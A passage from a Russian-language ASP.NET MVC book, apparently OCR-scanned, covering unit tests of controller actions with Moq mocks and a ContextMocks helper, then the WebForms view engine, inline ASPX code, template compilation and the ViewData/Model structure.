На заметку! Имейте в виду, что при вызове метода действия вручную, как в предыдущих примерах модульных тестов, он не запускает никаких фильтров, которые могут быть ассоциированы с методом или его контроллером. В конце концов, зти фильтры — просто атрибуты .NET; они не имеют значения для самой платформы .NET Framework. Некоторых разработчиков зто не устраивает, и они ищут способ запускать фильтры внутри модульных тестов. Однако это привело бы к утере смысла! Общая идея фильтров состоит в их независимости от действий, к которым они применяются. Именно зто делает фильтры многократно используемыми. При модульном тестировании методы действий должны проверяться как изолированные единицы, без тестирования одновременно всей инфраструктуры, которая окружает их во время выполнения. Фильтры также могут тестироваться в изоляции (независимо от любого конкретного метода действия). Для этого понадобится написать отдельные модульные тесты, напрямую вызывающие методы фильтров, таких как OnActionExecuting () или OnActionExecuted ().
Глава 9. Контроллеры и действия 309
Имитация объектов контекста
В некоторых случаях методы действий работают не только с параметрами методов и значениями ActionResult, а получают прямой доступ к объектам контекста. В этом нет ничего плохого (именно для того и нужны объекты контекста), но это означает необходимость в создании тестовых дублей или имитаций объектов контекста во время проведения модульного тестирования. В предыдущей главе при тестировании маршрутов уже был показан пример, в котором использовались тестовые дубли. На этот раз мы сосредоточим внимание исключительно на имитациях.
Рассмотрим следующий метод действия. В нем объекты Request, Respons и Cookie используются для изменения поведения в зависимости от того, посещал ли ранее сайт данный посетитель.
public ViewResult Homepage()
{
if (Request.Cookies["HasVisitedBefore"] == null)
{
ViewData["IsFirstVisit"] = true;
// Установить cookie-набор, чтобы вспомнить данного посетителя в следующий раз Response.Cookies.Add(new HttpCookie("HasVisitedBefore", bool.TrueString));
)
else
ViewData["IsFirstVisit"] = false;
return View();
}
Это очень неясный метод, поскольку он полагается на массу внешних объектов контекста. Для его тестирования понадобится настроить рабочие значения зтих контекстных объектов. К счастью, зто можно сделать с помощью любого инструмента имитации. Ниже приведен один возможный тест, написанный с использованием инструмента Moq. На первый взгляд он выглядит сложным, но не волнуйтесь — очень скоро все прояснится.
[Test]
public void Homepage_Recognizes_New_Visitor_AndSets_Cookie()
{
// Подготовка: сначала подготовить некоторые имитирующие объекты контекста var mockContext = new Moq.Mock<HttpContextBase>();
var mockRequest = new Moq.Mock<HttpRequestBase>();
var mockResponse = new Moq.Mock<HttpResponseBase>();
// В следующих строках определяются ассоциации между разными имитирующими объектами // (т.е. указывается, какое значение использовать для mockContext.Request в Moq) mockContext.Setup(х => x.Request).Returns(mockRequest.Object);
mockContext.Setup(x => x.Response).Returns(mockResponse.Object); mockRequest.Setup(x => x.Cookies).Returns(new HttpCookieCollection()); mockResponse.Setup(x => x.Cookies).Returns(new HttpCookieCollection()); var controller = new SimpleController();
var rc = new Requestcontext(mockContext.Object, new RouteData()); controller.Controllercontext = new Controllercontext(rc, controller);
// Действие
ViewResult result = controller.Homepage();
// Утверждение
Assert.IsEmpty(result.ViewName);
Assert.IsTrue((bool)result.ViewData["IsFirstVisit"]);
Asserf.AreEqual(1, controller.Response.Cookies.Count);
Assert.AreEqual(bool.TrueString,
controller.Response.Cookies["HasVisitedBefore"].Value);
}
310 Часть II. ASP.NET MVC во всех деталях
На заметку! Если вы пользуетесь версией Moq, предшествующей 3.0, вместо Setup придется записать Expect.
Тщательно рассмотрев приведенный выше код, вы увидите, что в нем устанавливается имитирующий экземпляр HttpContext наряду с дочерними объектами контекста Request, Response и т.д., а также утверждается, что cookie-набор HasVisitedBefore должен быть отправлен в ответе. Однако масса подготовительного кода затеняет назначение теста, отнимает слишком много времени на написание, а также требует помнить, каким образом устанавливаются имитации. Давайте попробуем решить проблему имитации объектов контекста раз и навсегда.
Многократно используемый служебный класс имитации ASP.NET MVC
Логика, необходимая для имитации контекста времени выполнения ASP.NET MVC, часто выносится в отдельный модуль, который можно повторно использовать во множестве тестов. В результате отдельные модульные тесты можно существенно упростить. Для этого с помощью API-интерфейса выбранного инструмента имитации потребуется определить HttpContext, Request, Response и другие объекты контекста, а также отношения между ними. В случае инструмента Moq вся эта работа делается с приведенном ниже многократно используемом служебном классе (который входит в состав загружаемого кода для книги):
public class ContextMocks
{
public Moq.Mock<HttpContextBase> HttpContext { get; private set; )
public Moq.Mock<HttpRequestBase> Request { get; private set; }
public Moq.Mock<HttpResponseBase> Response { get; private set; }
public RouteData RouteData { get; private set; }
public ContextMocks(Controller onController) (
11 Определить все общие объекты контекста и отношения между ними HttpContext = new Moq.Mock<HttpContextBase>() ;
Request = new Moq.Mock<HttpRequestBase>();
Response = new Moq.Mock<HttpResponseBase>() ;
HttpContext.Setup(x => x.Request) . Returns(Request.Object);
HttpContext.Setup(x => x.Response).Returns(Response.Object);
HttpContext.Setup(x => x.Session).Returns(new FakeSessionState()); Request.Setup(x => x.Cookies).Returns(new HttpCookieCollection()); Response.Setup(x => x.Cookies) .Returns(new HttpCookieCollection()); Request.Setup(x => x.Querystring).Returns(new NameValueCollection()); Request.Setup(x => x.Form).Returns(new NameValueCollection ());
// Применить имитирующий контекст к указанному экземпляру контекста Requestcontext rc = new Requestcontext(HttpContext.Object, new RouteData()); onController.Controllercontext = new Controllercontext(rc, onController);
)
// Использовать фиктивный HttpSessionStateBase,
// потому что его трудно имитировать с помощью Moq private class FakeSessionState : HttpSessionStateBase {
Dictionary<string, object> items = new Dictionary<string, object>(); public override object this[string name] {
get ( return items.ContainsKey(name) ? items[name] : null; } set ( items [name] = value; }
}
)
}
Глава 9. Контроллеры и действия 311
На заметку! Этот вспомогательный тестовый класс подготавливает работающие реализации не только объектов Request, Response и их cookie-коллекций, но также их свойств Session, Request. Querystring и Request. Form. (TempData также входит в их число, потому что базовый класс Controller устанавливает его, используя Session.) Данный класс можно дополнительно расширить, добавив имитации для Request .Headers, HttpContext. Application, HttpContext. Cache, и использовать его многократно во всех тестах контроллеров.
За счет использования служебного класса ContextMocks предыдущие модульные тесты можно упростить, как показано ниже:
[Test]
public void Homepage_Recognizes_New_Visitor_And_Sets_Cookle() {
// Подготовка
var controller = new SimpleController();
var mocks = new ContextMocks(controller); // Настроить полный
// имитирующий контекст
// Действие
ViewResult result = controller.Homepage();
// Утверждение
Assert.IsEmpty(result.ViewName);
Assert.IsTrue((bool)result.ViewData["IsFirstVisit"]);
Assert.AreEqual(1, controller.Response.Cookies.Count);
Assert.AreEqual(bool.TrueString,
controller.Response.Cookies["HasVisitedBefore"].Value);
}
Теперь тест стал намного более читабельным. Разумеется, если тестируется поведение действия для нового посетителя, то следует также протестировать его поведение для возвратившегося посетителя:
[Test]
public void Homepage_Recognizes_Previous_Visitor() {
// Подготовка
var controller = new SimpleController();
var mocks = new ContextMocks(controller);
controller.Request.Cookies.Add(new HttpCookie("HasVisitedBefore", bool.TrueString));
// Действие
ViewResult result = controller.Homepage() ;
// Утверждение: на этот раз продемонстрировать
// альтернативный синтаксис "ограничений" в NUnit
Assert.That(result.ViewName, Is.EqualTo("HomePage") | Is.Empty);
Assert.That((bool)result.ViewData["IsFirstVisit"], Is.False) ;
}
Совет. Объект ContextMocks можно также использовать для эмуляции дополнительных условий во время фазы утверждения (например, mocks .Request. Setup (х => х.HttpMethod) . Returns ("POST")).
312 Часть II. ASP.NET MVC во всех деталях
Резюме
Архитектура MVC построена на основе контроллеров. Контроллеры состоят из набора именованных частей функциональности, которые называются действиями. Каждое действие реализует логику приложения, не отвечая за тонкости генерации HTML-разметки, поэтому оно может оставаться простым, ясным и тестируемым.
В этой главе вы узнали о том, как создавать и использовать классы контроллеров. Было показано, как обращаться к входным данным через объекты контекста и привязку параметров; как производить вывод через систему результатов действий; как создавать повторно используемое поведение, которое можно помечать атрибутами фильтров; как реализовать специальную фабрику контроллеров или настроить логику выбора действия; как писать модульные тесты для методов действий.
В следующей главе рассматривается встроенный механизм представлений MVC Framework, а также доступные варианты трансформации объекта Mode 1 или структуры ViewData в готовую HTML-страницу.
ГЛАВА 10
Представления
Снаружи веб-приложения можно рассматривать как “черные ящики”, которые преобразуют запросы в ответы: на их вход поступает URL, а на выходе получается HTML-разметка. Маршрутизация, контроллеры и действия являются важной частью внутренних механизмов ASP.NET MVC, но они ничего не стоили бы, если бы не было возможности генерировать некоторую HTML-разметку. В архитектуре MVC за конструирование этого готового вывода отвечают представления.
Вы уже видели представления в действии во многих примерах, приведенных до сих пор, так что приблизительно знаете, что они делают. Теперь наступило время рассмотреть их еще более подробно. В этой главе вы узнаете следующее.
•	Внутренний механизм работы страниц представлений . aspx.
•	Пять основных способов добавления динамического содержимого к представлению WebForms.
•	Создание многократно используемых элементов управления, которые подходят для архитектуры MVC, и их применение на мастер-страницах.
•	Альтернативы механизму представлений WebForms, включая создание специального Механизма представлений.
Место представлений в ASP.NET MVC
Большинство разработчиков программного обеспечения понимают, что код пользовательского интерфейса лучше держать подальше от остальной логики приложения. В противном случае логика представления и бизнес-логика переплетается, после чего отслеживать каждую из этих частей по отдельности становится невозможно. Малейшая модификация может легко привести к широкому распространению ошибок, и производительность всерьез снизится. Эта постоянная проблема решается в архитектуре MVC за счет обособления и упрощения представлений. В веб-приложениях MVC представления отвечают только за прием вывода контроллера и использование простой логики презентации для визуализации его в готовую HTML-разметку.
Однако граница между логикой представления и бизнес-логикой довольно субъективна. Скажем, если должна быть создана таблица, в которой строки через одну имеют серый фон, то эта задача, вероятно, будет решаться логикой презентации. Но что если в зтой таблице потребуется выделить определенные строки со значением суммы выше определенного уровня и скрыть строки, соответствующие праздничным дням? Можно спорить, как реализовать эту задачу — в виде бизнес-правила или в виде правила презентации — тем не менее, выбор сделать придется. По мере обретения опыта наступает
314 Часть II. ASP.NET MVC во всех деталях
понимание того, какой уровень сложности может быть приемлемым в логике представления, и должна ли определенная часть логики быть тестируемой.
Логика представления менее тестируема, чем логика контроллера, потому что представления выводят текст, а нс структурированные объекты (даже XHTML разбирать нс просто — там есть кое-что помимо дескрипторов). По зтой причине шаблоны представлений обычно вообще не тестируются. Логика, подлежащая тестированию, обычно аккумулируется в классах контроллеров или предметной области. Некоторые разработчики ASP.NET MVC создают модульные тесты для вывода представлений, но такие тесты уязвимы даже для тривиальных изменений, подобных добавлению пробелов (иногда пробелы в HTML существенны, а иногда — нет). Другие вообще не видят особого смысла в тестировании представлений, а предпочитают считать их не тестируемыми, при этом сохраняя их предельно простыми. Если вы сторонник автоматизированного тестирования представлений, подумайте об использовании инструмента интегрированного тестирования, такого как пакет с открытым исходным кодом Selenium (http: //selenium. org/) или среда Lightweight Test Automation Framework от Microsoft (http: //www. codeplex. com/aspnet).
На заметку! Гесты интеграции проверяют множество программных компонентов, работающих совместно, в отличие от модульных тестов, которые спроектированы для тестирования отдельного компонента в изоляции. Модульные тесты могут быть более ценными, потому что они естественным образом выявляют проблемы именно в точке их появления. Однако если в дополнение к ним имеется небольшой набор тестов интеграции, будет минимизирован риск поставки заказчику версии продукта, которая потерпит крах в реальных условиях зкеплуатации. Например, пакет Selenium записывает сеанс активности в веб-браузере, позволяя определять утверждения о HTML-злементах, которые должны появляться в разные моменты времени. Это тест интеграции, поскольку он проверяет совместную работу представлений, контроллеров, базы данных и конфигурации маршрутизации. Тесты интеграции не могут быть предельно точными, иначе единственное изменение может привести к необходимости их переписывания заново.
Механизм представлений WebForms
MVC Framework поставляется с встроенным механизмом представлений WebForms, который реализован в виде класса под названием WebFormViewEngine. Он знаком каждому, кто работал в прошлом с ASP.NET. потому что в его основу положен существующий пакет WebForms, включающий серверные элементы управления, мастер-страницы и визуальный конструктор Visual Studio. Разумеется, в механизм внесен ряд усовершенствований, которые предоставляют дополнительные способы генерации HTML-разметки, более точно соответствующей принципам ASP.NET MVC по предоставлению абсолютного контроля над разметкой.
В упомянутом механизме WebForms представления, также называемые страницами представлений или шаблонами представлений, являются простыми шаблонами HTML. Они работают преимущественно с одной определенной частью данных, которая предоставляется контроллером — словарем ViewData (который также может содержать строго типизированный объект Model) — и потому не могут делать чего-то большего, чем выводить литеральную HTML-разметку вперемешку с информацией, извлеченной из ViewData или Model. Представления определенно не сообщают модели предметной области приложения о необходимости извлекать или манипулировать другими данными, как и не вызывают никаких других побочных эффектов; это простые чистые функции для трансформации структуры ViewData в HTML-страницу.
Внутренне технология, поддерживаемая страницами представлений MVC. использует серверные страницы ASP.NET WebForms. Вот почему страницы представлений MVC
Глава 10. Представления 315
можно создавать с помощью тех же средств проектирования Visual Studio, что и применяемые в проектах WebForms. Но в отличие от серверных страниц WebForms, страницы представлений ASP.NET MVC обычно не имеют соответствующих файлов классов отделенного кода, поскольку они сосредоточены на логике презентации, что обычно лучше выражается через простой код, встроенный непосредственно в разметку ASPX.
Сменяемость механизмов представлений
Подобно любой другой части MVC Framework, механизм представлений WebForms можно использовать в неизменном виде, специальным образом настроить или полностью заменить другим механизмом представлений. Для создания собственного механизма представлений понадобится реализовать интерфейсы IviewEngine и IView (пример будет приведен ближе к концу этой главы). Доступно также несколько механизмов представлений ASP.NET MVC с открытым исходным кодом, которые можно воспользоваться; некоторые примеры даются в конце главы.
Однако большинство приложений ASP.NET MVC строятся на основе стандартного механизма представлений WebForms, отчасти потому, что это механизм по умолчанию, отчасти потому, что он работает достаточно хорошо. Данный механизм требует подробного рассмотрения, поэтому, за исключением нескольких мест, настоящая глава полностью посвящена механизму представлений по умолчанию.
Основы механизма представлений WebForms
В предыдущих примерах вы видели, что для создания нового представления необходимо щелкнуть правой кнопкой мыши внутри метода действия и выбрать в контекстном меню пункт Add View (Добавить представление). Среда Visual Studio поместит новое представление туда, где должны находиться представления данного контроллера. В соответствие с соглашением, представления для ProductsController должны располагаться в/Views/Product/.
В качестве альтернативы новое представление можно создать вручную, щелкнув правой кнопкой мыши на папке в Solution Explorer и выбрав в контекстном меню пункт Add^New Item (Добавить^Новый элемент). Затем в открывшемся окне нужно выбрать шаблон MVC View Page (или MVC View Content Page, если хотите ассоциировать его с мастер-страницей). Чтобы сделать представление строго типизированным, следует изменить его директиву Inherits с System.Web.Mvc.ViewPage на System.Web.Mvc. V i ewPage<TwnMoдели>.
Добавление содержимого к шаблону представления
Страница представления вполне может состоять из одной лишь фиксированной литеральной строки HTML (плюс объявление <%@ Раде %>):
<%@ Page Inherits="System.Web.Mvc.ViewPage" %>
This is a <i>very</i> simple view.
Объявление <%@ Page %> подробно рассматривается позже. Помимо него, предыдущее представление содержит обычную простую HTML-разметку. Несложно догадаться, что будет отображаться в браузере. Это представление не произведет хорошо сформированный HTML-документ; так как в нем нет дескрипторов <html> или <body>, но механизму представлений WebForms зто не важно. Он готов отобразить любую строку.
316 Часть II. ASP.NET MVC во всех деталях
Пять способов добавления динамического содержимого к шаблону представления
Создавая представления, которые не содержат ничего, кроме статического HTML, вряд ли удастся достигнуть многого. Все же вы занимаетесь написанием веб-приложений, а потому необходимо предусмотреть некоторый код, который позволит сделать представления динамическими. Платформа MVC Framework предлагает широкий спектр механизмов добавления динамического содержимого к представлениям, начиная с быстрых и простых и заканчивая развитыми и мощными. Выбор подходящего способа возлагается на вас как разработчика.
В табл. 10.1 представлен обзор доступных способов добавления динамического вывода в представления.
Таблица 10.1. Способы добавления динамического вывода в представления
Способ	Когда используется
Встроенный код	Для небольших, самодостаточных частей кода представления, таких как операторы if и foreach, и для вывода строк в поток ответов с применением синтаксиса <%= value %>. Встроенный код — зто основной инструмент, и большинство других приемов построено на его основе.
Вспомогательные методы HTML	Для генерации одиночных HTML-дескрипторов или небольших коллекций HTML-дескрипторов на основе данных, извлекаемых из ViewData или Model. Любой метод .NET, который возвращает строку, может быть вспомогательным методом HTML. ASP.NET MVC поставляется с широким диапазоном базовых вспомогательных методов HTML.
Серверные элементы управления	Для применения встроенных в ASP.NET элементов управления WebForms или для совместного использования совместимых элементов управления из проектов WebForms.
Частичные представления	Для совместного использования сегментов разметки в нескольких представлениях. Это легковесные многократно используемые элементы управления, которые могут содержать логику представления (т.е. встроенный код, вспомогательные методы HTML и ссылки на другие частичные представления), но никакой бизнес-логики. Они подобны вспомогательным методам HTML, за исключением того, что создаются с помощью шаблонов ASPX, а не в коде С#.
Графические элементы Html.RenderAction()	Для создания многократно используемых элементов управления пользовательского интерфейса или графических элементов, которые могут включать логику приложения наряду с логикой презентации. Каждый раз при визуализации такого графического элемента это требует запуска отдельного процесса MVC, с методом действия, который выбирает и визуализирует собственный шаблон представления для включения в поток ответа.
Все перечисленные в табл. 10.1 способы по очереди рассматриваются далее в главе. Дополнительные сведения о повторном использовании серверных элементов управления WebForms в приложениях MVC можно найти в главе 16.
Применение встроенного кода
Первый и простейший способ визуализации динамического вывода из страницы представления связан с применением встроенного кода, т.е. блоков кода, представлен-
Глава 10. Представления 317
пых в синтаксисе угловых скобок (<%... %>). Подобно аналогичному синтаксису в РНР, Rails, JSP, классическом ASP и многих других платформах разработки веб-приложений, это синтаксис для вычисления результатов и встраивания простой логики в файл, который в остальном выглядит подобно обычной HTML-разметке.
Предположим, например, что есть страницу представления по имени ShowPerson. aspx, которая предназначена для визуализации объектов некоторого типа Person, определенного следующим образом:
public class Person
{
public int PersonlD ( get; set; }
public string Name ( get; set; }
public int Age { get; set; }
public ICollection<Person> Children { get; set; }
1
Для удобства страницу ShowPerson.aspx можно превратить в строго типизированное представление (о них будет рассказываться далее в этой главе), установив в списке View data class (Класс данных представления) значение Person при первоначальном создании представления.
После этого ShowPerson. aspx может визуализировать свое свойство Model типа Person, используя для этого встроенный код:
<%@ Page Language="C#"
Inherits="System.Web.Mvc.ViewPage<ViewTests.Models.Person>"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.оrg/TR/xhtmll/DTD/xhtmll-transitional,dtd”>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title><%= Model.Name %></title>
</head>
<body>
<hl>Information about <%= Model. Name %></hl>
<div>
<%= Model.Name %> is
<%= Model.Age %> years old.
</div>
<h3>Children:</h3>
<ul>
<% foreach(var child in Model.Children) { %>
<li>
<b><%= child.Name %></b>, age <%= child.Age %>
</li>
<% } %>
</ul>
</body>
</html>
Экран, визуализированный для некоторого объекта Person, показан на рис. 10.1.
Если вы имели дело с ASP.NET WebForms в течение последних нескольких лет, то встроенный код в этом примере (а, возможно, и весь ранее приводимый встроенный код) может вызвать крайний дискомфорт. Тем не менее, для беспокойства нет причин: со временем мы разберем все сложные вопросы, и вы обретете доселе не виданное замечательное чувство свободы.
318 Часть II. ASP.NET MVC во всех деталях
Рис. 10.1. Вывод примера шаблона представления
Причины пригодности встроенного кода для шаблонов представлений MVC
Применение встроенного кода в ASP.NET WebForms обычно не приветствуется, поскольку предполагается, что страницы WebForms должны представлять иерархию серверных элементов управления, а не страницу HTML. Платформа WebForms ориентирована на создание иллюзии разработки графических пользовательских интерфейсов в стиле Windows Forms, а в случае использования встроенного кода эта иллюзия разрушается.
Совсем иначе обстоят дела в MVC Framework. Здесь разработка веб-приложения трактуется, как она есть, без попыток создать впечатление построения настольного приложения, и потому нет необходимости в имитации чего-то другого. HTML-разметка — это текст, а генерировать текстовые шаблоны совсем не сложно. Многие платформы веб-программирования с годами приходили и уходили, но идея построения шаблонов HTML постоянно возвращалась в той или иной форме. Это естественным образом подходит для HTML и хорошо работает.
Может возникнуть вопрос насчет разделения понятий. Разве нс нужно отделять логику от презентации? Безусловно, нужно! Как ASP.NET WebForms, так и ASP.NET MVC стараются помочь разработчику отделить логику приложения от ответственности презентации. Разница между двумя платформами состоит лишь в том, где в них проходит линия границы.
ASP.NET WebForms отделяет декларативную разметку от процедурной логики. Файлы интерфейсного кода ASPX содержат декларативную разметку, управляемую процедурной логикой в классах отделенного кода. И такой подход хорош, поскольку позволяет в определенной степени разделить ответственность. Недостаток состоит в том, что на практике примерно половина класса отделенного кода занимается тонкими манипуляциями элементами управления пользовательского интерфейса, а другая половина имеет дело и манипулирует моделью предметной области приложения. Таким образом, понятия презентации и логики приложения смешаны в этих классах отделенного кода.
Платформа MVC Framework появилась благодаря тому, что были извлечены уроки из традиционных WebForms, а также в ответ на то, что конкурирующие платформы вебприложений продемонстрировали свои преимущества в реальном применении. Пришло понимание того, что презентация всегда включает некоторую логику, поэтому наиболее удобно отделять логику приложения от логики презентации. Контроллеры и классы модели предметной области заключают в себе прикладную логику и логику предметной области, в то время как представления содержат презентационную логику. До тех пор. пока логика представления остается простой, намного яснее и естественнее помещать ее непосредственно в файл ASPX.
Глава 10. Представления 319
Разработчики, использующие другие платформы веб-разработки, основанные на MVC, сделали вывод, что это наиболее эффективный способ структурирования приложений. Нет ничего крамольного в использовании нескольких конструкций if и foreach в представлении — в конце концов, логика презентации должна хоть что-нибудь делать. Однако сохраняйте ее простой, и вы получите очень аккуратное приложение.
Действительная работа представлений MVC
Итак, теперь вы знакомы с концепцией встраивания кода. Но прежде чем переходить к рассмотрению других приемов добавления динамического содержимого, необходимо выяснить, как все это в действительности работает. Для начала мы рассмотрим основные механизмы шаблонов WebForms ASPX, их компиляцию и выполняются, а затем подробно разберем работу ViewData и Model.
Компиляция шаблонов ASPX
Каждый раз, когда создается новая страница представления, среда Visual Studio предоставляет шаблон ASPX (например, MyView.aspx или MyPartialView. asex). Несмотря на то что зто шаблон HTML, он может также содержать встроенный код и серверные элементы управления. При развертывании приложения WebForms или MVC на сервер обычно помещается множество нескомпилированных файлов ASPX и ASCX. Когда механизм ASP.NET обращается к этим файлам во время выполнения, он использует специальный встроенный компилятор страниц для трансформации файла в класс .NET.
Файлы ASPX всегда начинаются с директивы <%@ Раде %>. Эта директива указывает как минимум базовый класс .NET, от которого должен наследоваться шаблон ASPX, и почти всегда указывает язык .NET, на котором написаны блоки встроенного кода. Например:
<%@ Page Language="C#" Inherits="System.Web.Mvc.ViewPage" %>
Очень полезно анализировать код, генерируемый компилятором WebForms из файлов ASPX. Его можно обнаружить во временных скомпилированных библиотеках DLL в папке с: \изегз\вашеРегистрационноеИмя\АррВаСа\Ьоса1\Тетр\Тетрогагу ASP.NET Files\ (это местоположение по умолчанию в среде Windows Vista; обратите внимание, что папка AppData по умолчанию скрыта). Затем эти библиотеки можно пропустить через какой-нибудь декомпилятор .NET. вроде популярного инструмента Red Gate .NET Reflector (доступного для свободной загрузки по адресу www. red-gate. com/products/ reflector/). Например, приведенная ниже страница представления:
<%@ Page Language="C#" Inherits="System.Web.Mvc.ViewPage<ArticleData>" %>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Hello</title>
</head>
<body>
<hl><%= Model.ArticleTitle %></hl>
<%= Model.ArticleBody %>
<h2>See also:</h2>
<ul>
<% foreach(string url in Model.RelatedUrls) { %> <li><%= url %></li>
/О. I Q.X, О J оУ
</ul>
<asp:Image runat="server" ID="ImageServerControl" />
</body>
</html>
320 Часть II. ASP.NET MVC во всех деталях
компилируется в следующий код:
public class views_home_myinlinecodepage_aspx : ViewPage<ArticleData> {
protected Image ImageServerControl;
protected override void Frameworklnitialize () {
__BuildControlTree ();
}
private void __BuildControlTree ()
{
ImageServerControl = new Image() { ID = "ImageServerControl" }; SetRenderMethodDelegate(new RenderMethod(this.__Render));
}
private void __Render(HtmlTextWriter output. Control childrenContainer)
(
output.Write("\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\" >\r\n <head>\r\n	<title>Hello</title>\r\n </head>\r\n <body>\r\r
<hl>");
output.Write(Model.ArticleTitle);
output.Write("</hl>\r\n	");
output.Write(Model.ArticleBody);
output.Write("\r\n	<h2>See also:</h2>\r\n <ul>\r\n ");
foreach (string url in Model.RelatedUrls) {
output.Write("\r\n	<li>");
output.Write(url);
output.Write("</li>\r\n	") ;
}
output.Write("\r\n	</ul>\r\n	");
childrenContainer.Controls[0].RenderControl(output);
output.Write("\r\n </body>\r\n</html>\r\n");
}
}
Несмотря на то что декомпилированный код несколько упрощен, он достаточно точно отражает суть. Ключевой момент, который здесь следует отметить, состоит в том. что каждый фрагмент литерального HTML — переводы строк и все прочее — превращается в вызов HtmlTextWriter .Write (), и встроенный код просто передает его методу __Render () без изменений, поэтому он становится частью процесса визуализации
В данном примере серверные элементы управления, подобные ImageServerControl. разбираются и становятся переменными-членами скомпилированного типа, а вызов их метода RenderControl () помещается в соответствующее место.
Обычно специально заглядывать в скомпилированное представление файла ASPX не обязательно. Однако это полезно для понимания, как на самом деле встроенный код и серверные элементы управления вызываются во время выполнения.
Файл ASPX/ASCX можно редактировать в любое время, потому что встроенный компилятор заметит, что это было сделано, и автоматически перекомпилирует обновленную версию при следующем выполнении. В результате получается сочетание гибкости интерпретируемого языка и преимуществ компилируемого языка, относящихся к времени выполнения.
Глава 10. Представления 321
На заметку! Для компиляции решения в Visual Studio необходимо выбрать пункт меню Buildd>Build Solution (Построение^Построить решение) (либо нажать <F5> или <Ctrl+Shift+B>). В случае наличия ошибок в коде компилятор выдаст соответствующие сообщения. Однако этот процесс компиляции не затрагивает файлы ASPX и ASCX, потому что они компилируются на лету во время выполнения. Если представления должны быть включены в обычный процесс компиляции (например, чтобы получить раннее предупреждение о возможных ошибках компиляции времени выполнения), можно воспользоваться параметром настройки проекта <MvcBuildViews>. Более подробно это объясняется в главе 14.
Модель отделенного кода
Если вы имели дело с ASP.NET WebForms, то определенно видели классы отделенного кода. Идея состоит в том, что вместо наследования страниц непосредственно от System. Web . UI. Раде (стандартного базового класса для традиционных страниц WebForms) можно построить промежуточный базовый класс (который сам унаследован от System.Web.UI. Раде) и помещать в него дополнительный код, который влияет на поведение страницы. Модель отделенного кода была разработана для платформы ASP.NET WebForms и лежит в основе функционирования страниц WebForms: класс отделенного кода служит для размещения в нем обработчиков событий каждого из объектов серверных элементов управления, определенных в шаблоне ASPX.
Формально в MVC также можно создать страницу представления с классом отделенного кода. Для этого в среде Visual Studio понадобится поместить шаблон Web Form в нужное место представления и затем изменить его класс отделенного кода, унаследовав его от System.Web.Mvc.ViewPage или System.Web.Mvc.У1ешРаде<ТипМоде.ли>.
Однако классы отделенного кода почти всегда излишни и нежелательны в ASP.NET MVC, так как по причине разделения обязанностей в MVC представления должны оставаться очень простыми, и потому они редко нуждаются в обработчиках событий отделенного кода. Классы отделенного кода пригодны в качестве последнего средства, когда требуется повторно использовать старый серверный элемент управления WebForms, для которого нужно выполнить некоторую инициализацию в обработчике Page Load (). Добавление слишком большого числа обработчиков отделенного кода для внедрения логики в разные точки жизненного цикла страницы приводит к утере всех преимуществ ASP.NET MVC. Если же по той или иной причине это необходимо, следует рассмотреть возможность построения приложения WebForms или определить некоторый гибрид WebForms и MVC, как будет описано в главе 16.
Структура ViewData
Как известно, в ASP.NET MVC контроллеры поставляют данные в представления, передавая объект под названием ViewData типа ViewDataDictionary. Этот тип предлагает два способа передачи данных.
1. С использованием семантики словаря. Каждый экземпляр ViewDataDictionary — это словарь, который можно заполнять произвольными парами “имя/значение” (например, устанавливая ViewData [ "date" ] = DateTime. Now). Имя каждой пары имеет тип string, а значение — тип object.
2. С использованием специального свойства Medel. Каждый экземпляр ViewDataDictionary также имеет специальное свойство под названием Model, которое хранит произвольный object.
322 Часть II. ASP.NET MVC во всех деталях
Например, можно записать так: ViewData.Model = myPerson1. В шаблоне представления для ссылки на это свойство можно использовать сокращение, записывая просто Model вместо ViewData.Model.
Ценность первого способа очевидна — можно передавать произвольную коллекцию данных. Ценность второго способа зависит от того, от какого типа унаследована страница представления. ASP.NET MVC предлагает два варианта выбора базового класса для страницы представления.
•	Если представление унаследовано от ViewPage, значит, создано слабо типизированное представление. В классе ViewPage определено свойство ViewData типа ViewDataDictionary. В этом случае ViewData .Model имеет неспецифичный тип ob j ect, который не слишком полезен. Слабо типизированная страница представления больше подходит в ситуации, когда планируется использование ViewData исключительно как словаря, с полным игнорированием Model.
•	Если представление унаследовано от ViewPage<T>, где Т — некоторый специальный класс модели, значит, создано строго типизированное представление. В классе ViewPage<T> определено свойство ViewData типа ViewDataDictionary<T>. В этом случае ViewData .Model имеет тип Т, так что можно легко извлекать данные из него с помощью средства IntelliSense. Именно эту возможность будет предоставлять среда Visual Studio после отметки флажка Create a strongly typed view (Создать строго типизированное представление) в диалоговом окне Add View (Добавить представление).
Контроллерам ничего не известно об отличиях между этими двумя вариантами. Независимо от вашего выбора, они всегда применяют ViewDataDictionary. Однако строго типизированные представления помещают входящий ViewDataDictionary в оболочку ViewDataDictionary<T>, обеспечивая строго типизированный доступ к ViewData.Model при написании шаблона ASPX. Конечно, это зависит от возможности приведения любого входящего объекта ViewData.Model к типу Т; если такая возможность отсутствует, возникает исключение времени выполнения.
На практике, если страница представления в основном ориентирована на визуализацию некоторого объекта модели предметной области, применяется ViewPage<T>, где Т — тип объекта этой модели предметной области. Когда выполняется визуализация коллекции объектов Person, можно использовать ViewPage<IEnumerable<Person>>. Это обеспечит максимальное удобство. В то же самое время можно добавлять произвольные элементы словаря, если нужно пересылать также и другие данные, вроде сообщений о состоянии.
Визуализация элементов ViewData с использованием ViewData. Eval
Одним из основных применений встроенного кода является извлечение и отображение данных из структуры ViewData, трактуя ее либо как словарь (например. <%= ViewData ["message"] %>), либо как строго типизированный объект (например. <%= Model. LastUpdateDate . Year %>). Для доступа к значениям, хранящимся в любом месте ViewData или Model, служит ранее не упоминавшийся метод Eval () класса ViewDataDictionary. который рассматривается ниже.
Это происходит неявно, когда метод действия вызывает представление, возвращая View (myPerson). Разумеется, метод действия может также добавлять некоторые пары “имя значение” в ViewData.
Глава 10. Представления 323
Метод Eval () производит поиск по всему графу объектов ViewData — ив словаре, и в элементах объекта Model — с использованием синтаксиса разделенных точками лексем. Предположим для примера, что визуализируется <%= ViewData.Eval ("details . lastlogin. year") %>. Каждая лексема в разделенном точками выражении воспринимается либо как имя элемента словаря, либо как имя свойства (без учет а регистра символов). Eval О проходит рекурсивно и по словарю, и по объекту Model в определенном порядке, в поисках первого отличного от null значения. В рассматриваемом примере могут быть обнаружены следующие элементы:
•	ViewData["details.lastlogin.year"]
•	ViewData["details"].lastlogin.year
•	ViewData["details.lastlogin"].year
